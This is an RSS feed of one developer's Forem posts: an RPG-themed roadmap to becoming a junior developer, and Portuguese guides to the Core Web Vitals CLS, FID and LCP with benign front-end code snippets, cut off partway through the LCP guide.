<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Lucas Rocha</title>
    <description>The latest articles on Forem by Lucas Rocha (@santoslucas11).</description>
    <link>https://forem.com/santoslucas11</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1205260%2F53860f12-952b-427a-aac2-742499b01be3.jpeg</url>
      <title>Forem: Lucas Rocha</title>
      <link>https://forem.com/santoslucas11</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/santoslucas11"/>
    <language>en</language>
    <item>
      <title>🛡️ The Junior Dev Journey: Like an RPG, But With Code</title>
      <dc:creator>Lucas Rocha</dc:creator>
      <pubDate>Thu, 24 Apr 2025 02:14:17 +0000</pubDate>
      <link>https://forem.com/santoslucas11/the-junior-dev-journey-like-an-rpg-but-with-code-4ao9</link>
      <guid>https://forem.com/santoslucas11/the-junior-dev-journey-like-an-rpg-but-with-code-4ao9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3kb49jk8x1bbk2t7oylr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3kb49jk8x1bbk2t7oylr.png" alt="Image description" width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You wake up in the village of Curiosity, your inventory empty but your will to learn stronger than ever. Welcome, adventurer — your dev journey begins now.&lt;/p&gt;

&lt;p&gt;This is your &lt;strong&gt;quest map&lt;/strong&gt; — a practical guide for anyone starting from scratch who wants to become a junior dev in up to 8 months. No magic formulas, just a clear path and lots of XP ahead.&lt;/p&gt;




&lt;h2&gt;
  
  
  🗺️ Campaign Setup
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Duration&lt;/strong&gt;: up to 8 months&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Style&lt;/strong&gt;: solo campaign (co-op mode highly recommended)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Play time&lt;/strong&gt;: 1.5 to 2.5 hours/day on weekdays&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XP earned&lt;/strong&gt;: hands-on projects, deploys, and a shiny portfolio&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧭 The Journey Map
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🎒 Level 1 — The Beginner (Month 1)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Learn programming logic using JavaScript&lt;/li&gt;
&lt;li&gt;Master functions, loops, arrays, and objects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: build a calculator or number guessing game&lt;/p&gt;

&lt;p&gt;🧠 XP: Core spellcasting skills unlocked&lt;/p&gt;




&lt;h3&gt;
  
  
  🛠️ Level 2 — The Web Craftsman (Month 2)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Learn HTML and CSS&lt;/li&gt;
&lt;li&gt;Dive into Flexbox and responsive design&lt;/li&gt;
&lt;li&gt;Get started with Git and GitHub&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: design a landing page with a contact form&lt;/p&gt;

&lt;p&gt;🧠 XP: solid UI building blocks + version control magic&lt;/p&gt;




&lt;h3&gt;
  
  
  🔍 Level 3 — The DOM Tamer (Month 3)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DOM manipulation with JS&lt;/li&gt;
&lt;li&gt;Handle events and use APIs (fetch)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: build a weather app or movie search app&lt;/p&gt;

&lt;p&gt;🧠 XP: dynamic pages + basic API spells&lt;/p&gt;




&lt;h3&gt;
  
  
  🧪 Level 4 — The Frontend Alchemist (Month 4)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Learn project structure with Vite&lt;/li&gt;
&lt;li&gt;Deploy your first site on Netlify or Vercel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: build a responsive app with error handling&lt;/p&gt;

&lt;p&gt;🧠 XP: build, structure, and deploy your first magical app&lt;/p&gt;




&lt;h3&gt;
  
  
  ⚙️ Level 5 — The Backend Adventurer (Month 5)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create APIs using Node.js and Express&lt;/li&gt;
&lt;li&gt;Understand routes, middlewares, and CRUD&lt;/li&gt;
&lt;li&gt;Use SQLite or MongoDB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: task manager API&lt;/p&gt;

&lt;p&gt;🧠 XP: backend mastery unlocked&lt;/p&gt;




&lt;h3&gt;
  
  
  🧩 Level 6 — The Interface Summoner (Month 6)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Learn React (components, props, useState, useEffect)&lt;/li&gt;
&lt;li&gt;Work with routes and API integration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: dashboard with filters and routing&lt;/p&gt;

&lt;p&gt;🧠 XP: UI building with modern magic&lt;/p&gt;




&lt;h3&gt;
  
  
  🏗️ Level 7 — Fusion of Realms (Month 7)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Connect frontend and backend&lt;/li&gt;
&lt;li&gt;Add login/authentication (JWT)&lt;/li&gt;
&lt;li&gt;Deploy the full stack app&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Bonus quest&lt;/strong&gt;: full stack task manager with auth&lt;/p&gt;

&lt;p&gt;🧠 XP: mastering both frontend and backend realms&lt;/p&gt;




&lt;h3&gt;
  
  
  🧙‍♂️ Level 8 — The Junior Dev (Month 8)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Quests&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build your portfolio website&lt;/li&gt;
&lt;li&gt;Write proper README files&lt;/li&gt;
&lt;li&gt;Update LinkedIn, résumé, and practice interviews&lt;/li&gt;
&lt;li&gt;Apply for your first job(s)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Final Boss&lt;/strong&gt;: send your résumé to a real dev job&lt;/p&gt;

&lt;p&gt;🧠 XP: You’re now a Junior Developer! 🎉&lt;/p&gt;




&lt;h2&gt;
  
  
  📘 Legendary Loot (Projects)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;📐 Calculator&lt;/td&gt;
&lt;td&gt;Plain JS project&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🌐 Landing Page&lt;/td&gt;
&lt;td&gt;HTML/CSS + Form&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;☁️ Weather App&lt;/td&gt;
&lt;td&gt;JS + DOM + API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔧 Task API&lt;/td&gt;
&lt;td&gt;Node/Express + DB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🎨 React Dashboard&lt;/td&gt;
&lt;td&gt;React SPA with filters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔐 Full Stack App&lt;/td&gt;
&lt;td&gt;Auth + Connected Front/Back&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;✨ Portfolio&lt;/td&gt;
&lt;td&gt;Personal site showcasing your journey&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  🧠 Tavern Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Don’t fight alone — ask questions, join a guild (community), share what you learn&lt;/li&gt;
&lt;li&gt;Write good READMEs — it shows you're leveling up&lt;/li&gt;
&lt;li&gt;You don’t need to know everything to start — just enough to play&lt;/li&gt;
&lt;li&gt;Compare your progress to yesterday, not to the level 99 wizards on Twitter/X&lt;/li&gt;
&lt;li&gt;And the most important; have fun!&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>javascript</category>
      <category>react</category>
      <category>node</category>
    </item>
    <item>
      <title>🛑 Chega de Pulos na Tela! Guia Prático para Eliminar o CLS (Cumulative Layout Shift) (Parte 3 de 3 sobre Core Web Vitals)</title>
      <dc:creator>Lucas Rocha</dc:creator>
      <pubDate>Mon, 14 Apr 2025 00:32:34 +0000</pubDate>
      <link>https://forem.com/santoslucas11/chega-de-pulos-na-tela-guia-pratico-para-eliminar-o-cls-cumulative-layout-shift-parte-3-de-3-nc1</link>
      <guid>https://forem.com/santoslucas11/chega-de-pulos-na-tela-guia-pratico-para-eliminar-o-cls-cumulative-layout-shift-parte-3-de-3-nc1</guid>
      <description>&lt;p&gt;I. Introdução: A Chateação dos Deslocamentos Visuais Inesperados&lt;/p&gt;

&lt;p&gt;"Já passou pela situação de estar lendo algo e a página 'dar um tranco'? Isso é CLS. Evite isso, buscando uma vivência online melhor."&lt;/p&gt;

&lt;p&gt;II. Entendendo o CLS: Por Que as Páginas se 'Movem' Sozinhas?&lt;/p&gt;

&lt;p&gt;"Falta de dimensões em imagens, anúncios que demoram a aparecer, troca de fontes, conteúdo dinâmico em cima: os culpados mais comuns."&lt;/p&gt;

&lt;p&gt;III. Como Avaliar e Encontrar Onde Está o Problema&lt;/p&gt;

&lt;p&gt;"Use a métrica CLS no Lighthouse e no PageSpeed Insights. Acompanhe os resultados em tempo real."&lt;/p&gt;

&lt;p&gt;IV. Soluções Simples para Acabar Com o CLS:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dimensões Certas: A Solução Para Imagens e Vídeos Firmes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Sempre coloque &lt;code&gt;width&lt;/code&gt; e &lt;code&gt;height&lt;/code&gt; ou empregue &lt;code&gt;aspect-ratio&lt;/code&gt;."&lt;/p&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="gato.jpg" alt="Gato" width="600" height="400"&amp;gt;
&amp;lt;div style="width: 100%; aspect-ratio: 16 / 9;"&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Prepare o Terreno: Minimizando Deslocamentos de Anúncios, Embeds e Iframes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Use espaços reservados com tamanhos pré-definidos."&lt;/p&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div id="ad-placeholder" style="width: 300px; height: 250px;"&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Fontes Sem Surpresas: Melhorando o Desempenho do Carregamento&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Use &lt;code&gt;font-display&lt;/code&gt; (&lt;code&gt;swap&lt;/code&gt;, &lt;code&gt;optional&lt;/code&gt;, &lt;code&gt;fallback&lt;/code&gt;) e pré-carregue as fontes mais importantes (&lt;code&gt;&amp;lt;link rel="preload"&amp;gt;&lt;/code&gt;)."&lt;/p&gt;

&lt;p&gt;CSS&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@font-face { font-family: 'Fonte'; src: url('fonte.woff2'); font-display: swap; }
&amp;lt;link rel="preload" href="fonte.woff2" as="font" type="font/woff2" crossorigin&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Sem Imprevistos no Topo: Evitando Conteúdo Dinâmico que Empurra o Resto&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Reserve um espaço ou coloque o conteúdo novo abaixo da área visível."&lt;/p&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;header style="height: 60px;"&amp;gt;&amp;lt;/header&amp;gt;
&amp;lt;div style="padding-top: 60px;"&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Animações Leves, Layout Imóvel:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Use &lt;code&gt;transform&lt;/code&gt; e &lt;code&gt;opacity&lt;/code&gt; nas animações, não propriedades que afetam o layout."&lt;/p&gt;

&lt;p&gt;CSS&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.elemento { transform: translateX(0); transition: transform 0.3s; }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;V. CLS e UX: Estabilidade Visual é Fundamental&lt;/p&gt;

&lt;p&gt;"Uma experiência online confiável e acessível para todos."&lt;/p&gt;

&lt;p&gt;VI. Conclusão: Acabe Com os "Trancos" na Sua Página!&lt;/p&gt;

&lt;p&gt;"Priorize que a página não fique se movendo sozinha. Deixe suas ideias nos comentários!"&lt;/p&gt;

&lt;p&gt;Links e Materiais de Apoio:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://web.dev/cls/" rel="noopener noreferrer"&gt;Artigo web.dev sobre CLS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.google.com/search?q=https://www.google.com/search%3Fq%3Dhttps://developers.google.com/speed/docs/insights/CLS" rel="noopener noreferrer"&gt;Guia do Google para melhorar o CLS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Documentação MDN sobre &lt;code&gt;aspect-ratio&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Documentação MDN sobre &lt;code&gt;font-display&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Informações sobre &lt;code&gt;&amp;lt;link rel="preload"&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Informações sobre a propriedade CSS &lt;code&gt;transform&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Informações sobre a propriedade CSS &lt;code&gt;opacity&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sugestão de Imagem Para a Capa: Uma imagem mostrando organização (ex: peças alinhadas) ou a eliminação de "pulos".&lt;/p&gt;

&lt;p&gt;Tags: &lt;code&gt;webdev&lt;/code&gt;, &lt;code&gt;frontend&lt;/code&gt;, &lt;code&gt;performance&lt;/code&gt;, &lt;code&gt;optimization&lt;/code&gt;, &lt;code&gt;cls&lt;/code&gt;, &lt;code&gt;corewebvitals&lt;/code&gt;, &lt;code&gt;ux&lt;/code&gt;, &lt;code&gt;css&lt;/code&gt;, &lt;code&gt;html&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>🖱️Seu Site Responde Rápido Guia - Prático para Dominar o FID (First Input Delay) (Parte 2 de 3 sobre Core Web Vitals)</title>
      <dc:creator>Lucas Rocha</dc:creator>
      <pubDate>Thu, 10 Apr 2025 23:26:20 +0000</pubDate>
      <link>https://forem.com/santoslucas11/seu-site-responde-rapido-guia-pratico-para-dominar-o-fid-first-input-delay-parte-2-de-3-21kh</link>
      <guid>https://forem.com/santoslucas11/seu-site-responde-rapido-guia-pratico-para-dominar-o-fid-first-input-delay-parte-2-de-3-21kh</guid>
      <description>&lt;p&gt;I. Introdução: A Pronta Resposta é Tudo&lt;/p&gt;

&lt;p&gt;"Sabe quando você clica em um botão e fica minutos(que parece o amaterasu do itachi) esperando? Ninguém gosta dessa "mini-pausa", né? O First Input Delay (FID) é como um termômetro dessa primeira impressão de responsividade do seu site. Ele mede aquele instante entre o seu clique (ou toque) e o momento em que o navegador finalmente começa a fazer alguma coisa. Um FID rapidinho é a chave para um site que parece vivo e te responde na hora!"&lt;/p&gt;

&lt;p&gt;II. Desvendando o FID: A Central de Controle em Ação&lt;/p&gt;

&lt;p&gt;"Pensa no seu navegador como um maestro regendo uma orquestra. O 'cérebro' dele, o tal do thread principal, precisa dar conta de tudo: desenhar a página, rodar os scripts... Se ele estiver atolado com um monte de JavaScript complexo, coitado, ele não consegue te dar atenção na hora que você interage. Essas tarefas demoradas (tipo, mais de piscar um olho) são as grandes culpadas pelo FID alto."&lt;/p&gt;

&lt;p&gt;III. Avaliando e Detectando Imprevistos&lt;/p&gt;

&lt;p&gt;"O FID de verdade a gente sente no dia a dia, com usuários reais. Mas, pra ter uma ideia de como as coisas estão nos bastidores, o Lighthouse (aquela ferramenta mágica do Google) te mostra o Total Blocking Time (TBT). Ele é um bom indicador de que o FID pode estar precisando de uma forcinha."&lt;/p&gt;

&lt;p&gt;IV. Dicas Eficientes para um FID Campeão:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Quebrando Barreiras: Fragmentando Processos Demorados&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Sabe aquela função JavaScript gigante que demora uma eternidade pra rodar? Quebra ela em pedacinhos menores! O setTimeout é um truque simples pra dar um respiro pro thread principal."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript

function tarefaPesadaOtimizada(callback) {
  let i = 0;
  function processarBloco() {
    // ... fazendo um pedacinho do trabalho ...
    if (aindaHaMaisParaProcessar) {
      setTimeout(processarBloco, 0); // "Ei, navegador, faz isso rapidinho depois de cuidar do resto!"
    } else if (callback) {
      callback(); // "Terminei! Avisa o resto do pessoal."
    }
  }
  processarBloco();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Code Splitting: Priorizando o Essencial&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Imagina carregar um caminhão de coisas quando você só precisa de uma chave? O Code Splitting é tipo isso pro seu JavaScript. Envie só o código necessário pra primeira interação e deixe o resto pra depois, quando o usuário precisar."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JavaScript

botaoMostrarMapa.addEventListener('click', () =&amp;gt; {
  import('./componentes/Mapa') // "Só carrega o mapa quando o cara clicar!"
    .then((MapaModule) =&amp;gt; { /* ... */ });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Web Workers: JavaScript nos Bastidores&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Tem alguma tarefa super pesada que não precisa rodar na hora que o usuário clica? Manda ela pro Web Worker! É como ter um ajudante trabalhando nos bastidores sem atrapalhar a interface principal."&lt;/p&gt;

&lt;p&gt;J&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;avaScript

// worker.js (o ajudante)
self.onmessage = (event) =&amp;gt; { /* ... fazendo a mágica pesada ... */; self.postMessage(resultado); };

// main.js (o maestro)
const meuWorker = new Worker('worker.js'); // Contratando o ajudante
meuWorker.postMessage(dados); // Dando a tarefa
meuWorker.onmessage = (event) =&amp;gt; { /* ... atualizando a tela com o resultado ... */ };
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Atenção aos Visitantes: Otimizando Terceiros&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Sabe aqueles scripts de analytics, botões de redes sociais...? Eles são úteis, mas podem ser um pouco folgados pra carregar. Use async e defer pra que eles não atrapalhem a festa principal."&lt;/p&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script async src="https://seu-script-terceiro.js"&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script defer src="https://outro-script.js"&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;V. FID e UX: Uma Ligação Direta&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Um site que responde rapidinho te dá aquela sensação boa de controle e fluidez. É tipo conversar com alguém que te entende na hora! Priorizar o FID é cuidar da experiência do seu usuário."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VI. Conclusão: A Rapidez Interativa é Crucial!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Deixar seu site com um FID nota 10 não é um luxo, é essencial! Com as dicas que vimos, você já tem um arsenal pra fazer seu frontend voar. E aí, qual a sua principal carta na manga pra um FID perfeito? Compartilha com a gente nos comentários!"&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links e Recursos:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers" rel="noopener noreferrer"&gt;Documentação MDN sobre Web Workers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://web.dev/optimize-fid/" rel="noopener noreferrer"&gt;Artigo web.dev sobre Otimizar o FID&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://web.dev/tbt/" rel="noopener noreferrer"&gt;Artigo web.dev sobre Total Blocking Time (TBT)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#async](https://www.google.com/search?q=https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script%2523async)"&gt;Documentação MDN sobre &lt;code&gt;async&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer](https://www.google.com/search?q=https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script%2523defer)"&gt;Documentação MDN sobre &lt;code&gt;defer&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;webdev&lt;/code&gt;, &lt;code&gt;frontend&lt;/code&gt;, &lt;code&gt;performance&lt;/code&gt;, &lt;code&gt;optimization&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt;, &lt;code&gt;fid&lt;/code&gt;, &lt;code&gt;corewebvitals&lt;/code&gt;, &lt;code&gt;ux&lt;/code&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>🚀 A Primeira Impressão Conta (e Carrega Rápido) Seu Guia Prático para Dominar o LCP(Parte 1 de 3 sobre Core Web Vitals)</title>
      <dc:creator>Lucas Rocha</dc:creator>
      <pubDate>Fri, 04 Apr 2025 18:41:12 +0000</pubDate>
      <link>https://forem.com/santoslucas11/a-primeira-impressao-conta-e-carrega-rapido-seu-guia-pratico-para-dominar-o-lcpparte-1-de-3-33mk</link>
      <guid>https://forem.com/santoslucas11/a-primeira-impressao-conta-e-carrega-rapido-seu-guia-pratico-para-dominar-o-lcpparte-1-de-3-33mk</guid>
      <description>&lt;p&gt;I. Introdução: A Recepção Visual Inicial (E Como Torná-la Memorável!)  &lt;/p&gt;

&lt;p&gt;Sabe quando você entra numa loja e a montagem da vitrine parece inacabável ou está completamente vazia? A impressão não é das melhores, concorda? No universo online, o Largest Contentful Paint (LCP) age como a "fachada" do seu site. E este texto abre uma série de três que apresentarão as Core Web Vitals, as referências do Google para avaliar a vivência do usuário. Neste primeiro roteiro, o foco é o LCP, que dimensiona o tempo para o &lt;em&gt;maior componente de conteúdo&lt;/em&gt; visível no primeiro contato – aquela imagem de destaque, aquele título atrativo – se exibir por completo. Um LCP ágil assegura que os visitantes tenham uma experiência visual inicial boa e imediata, o que pode ser determinante para a permanência ou saída do visitante. Vamos nos aprofundar em como aprimorar essa medida essencial!  &lt;/p&gt;

&lt;p&gt;II. A Importância Crucial do LCP  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aparência Inicial: Um LCP veloz transmite agilidade logo de cara.
&lt;/li&gt;
&lt;li&gt;SEO: O LCP é usado pelo Google para classificar as páginas.
&lt;/li&gt;
&lt;li&gt;Redução da Irritação: Usuários impacientes podem sair de sites demorados.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;III. "Meu LCP Está Comprometido Se..."  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;O banner principal tarda a aparecer.
&lt;/li&gt;
&lt;li&gt;Um espaço vazio surge onde uma imagem importante deveria estar.
&lt;/li&gt;
&lt;li&gt;O Lighthouse indica um LCP acima de 2.5 segundos.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IV. Acelerando Seu LCP (Colocando a Mão na Massa!)  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reforce Suas Imagens (Seu LCP Lhe Será Grato!)
&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Adote Formatos Atuais: WebP proporciona melhor compactação.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;picture&amp;gt;  
&amp;lt;source srcset="banner-otimizado.webp" type="image/webp"&amp;gt;  
&amp;lt;img src="banner-gigante.jpg" alt="Banner"&amp;gt;  
&amp;lt;/picture&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Comprima sem Receio: Utilize ferramentas como &lt;a href="https://tinypng.com/" rel="noopener noreferrer"&gt;TinyPNG&lt;/a&gt; ou &lt;a href="https://imageoptim.com/" rel="noopener noreferrer"&gt;ImageOptim&lt;/a&gt;.  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Priorize o Carregamento: Use &lt;code&gt;loading="eager"&lt;/code&gt; para a imagem de maior relevância.  &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="banner-principal.jpg" alt="Banner Principal" loading="eager"&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Fontes Web: Agilidade no Carregamento
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Fontes personalizadas lentas podem impedir a exibição do texto."  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Utilize WOFF2: Formato otimizado.  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Escolha com Cuidado: Carregue só os estilos necessários.  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Aplique &lt;code&gt;font-display&lt;/code&gt;: Gerencie o carregamento.  &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;CSS&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@font-face {  
font-family: 'MeuFonte';  
src: url('meu-fonte.woff2') format('woff2');  
font-display: swap;  
}  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;CDN: Seu Conteúdo Mais Próximo do Público
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;"Um CDN guarda seus arquivos em servidores espalhados, entregando-os mais rapidamente."  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Opções Conhecidas: Cloudflare, CloudFront.
&lt;/li&gt;
